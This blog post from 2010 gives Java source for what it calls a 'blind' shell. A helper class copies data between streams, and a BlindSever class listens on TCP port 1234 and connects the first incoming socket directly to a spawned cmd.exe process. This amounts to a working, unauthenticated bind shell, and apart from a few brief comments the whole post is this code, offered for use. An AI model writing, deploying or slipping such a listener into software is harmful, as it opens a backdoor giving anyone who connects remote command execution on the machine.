shnulaa

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Blind Cmd or bash

Posted on 2010-09-26 16:36 shnulaa 阅读(163) 评论(0)  编辑  收藏 所属分类: java
 1package cn.liuyq;
 2
 3import java.io.BufferedReader;
 4import java.io.BufferedWriter;
 5import java.io.IOException;
 6import java.io.InputStream;
 7import java.io.InputStreamReader;
 8import java.io.OutputStream;
 9import java.io.OutputStreamWriter;
10
11public class CombineStream extends Thread {
12    private InputStream is;
13    private OutputStream os;
14
15    /**
16     * 
17     * @param is
18     * @param os
19     */
20    public CombineStream(InputStream is, OutputStream os) {
21        this.is = is;
22        this.os = os;
23    }
24
25    /**
26     * 
27     * @throws Throwable
28     */
29    public void run() {
30        BufferedReader br = null;
31        BufferedWriter bw = null;
32        try {
33            br = new BufferedReader(new InputStreamReader(is));
34            bw = new BufferedWriter(new OutputStreamWriter(os));
35
36            char[] buffer = new char[1024*5];
37            int charAt;
38            while ((charAt = br.read(buffer, 0, buffer.length)) > 0) {
39                bw.write(buffer,0,charAt);
40                bw.flush();
41            }
42
43        } catch (Throwable e) {
44
45        } finally {
46            if (br != null) {
47                try {
48                    br.close();
49                } catch (IOException e) {
50                    // TODO Auto-generated catch block
51                    e.printStackTrace();
52                }
53            }
54            if (bw != null) {
55                try {
56                    bw.close();
57                } catch (IOException e) {
58                    // TODO Auto-generated catch block
59                    e.printStackTrace();
60                }
61            }
62        }
63
64    }
65
66    /**
67     * 
68     */
69    public void destroy() {
70        if (is != null) {
71            try {
72                is.close();
73            } catch (IOException e) {
74                // TODO Auto-generated catch block
75                e.printStackTrace();
76            }
77        }
78        if (os != null) {
79            try {
80                os.close();
81            } catch (IOException e) {
82                // TODO Auto-generated catch block
83                e.printStackTrace();
84            }
85        }
86    }
87
88}
89
above is a thread to combine the inputStrean and outputStream.

BlindSever.java
 1package cn.liuyq;
 2
 3import java.io.InputStream;
 4import java.io.OutputStream;
 5import java.net.InetSocketAddress;
 6import java.net.ServerSocket;
 7import java.net.Socket;
 8
 9public class BlindSever {
10    
11    public static void main(String[] args) throws Throwable{
12        
13        ServerSocket serverSocket = new ServerSocket();
14        serverSocket.bind(new InetSocketAddress(1234));
15        Socket socket = serverSocket.accept();
16
17        InputStream is = socket.getInputStream();
18        OutputStream os = socket.getOutputStream();
19        
20        Process process = Runtime.getRuntime().exec("cmd.exe");
21        InputStream prois = process.getInputStream();
22        OutputStream proos = process.getOutputStream();
23        
24        CombineStream cs1 = new CombineStream(is, proos);
25        CombineStream cs2 = new CombineStream(prois, os);
26
27        cs1.start();
28        cs2.start();
29        
30        
31    }
32}
33
open a port and ready to receive a sorcket from client and then combine the cmd process input and output with the sockect input and output

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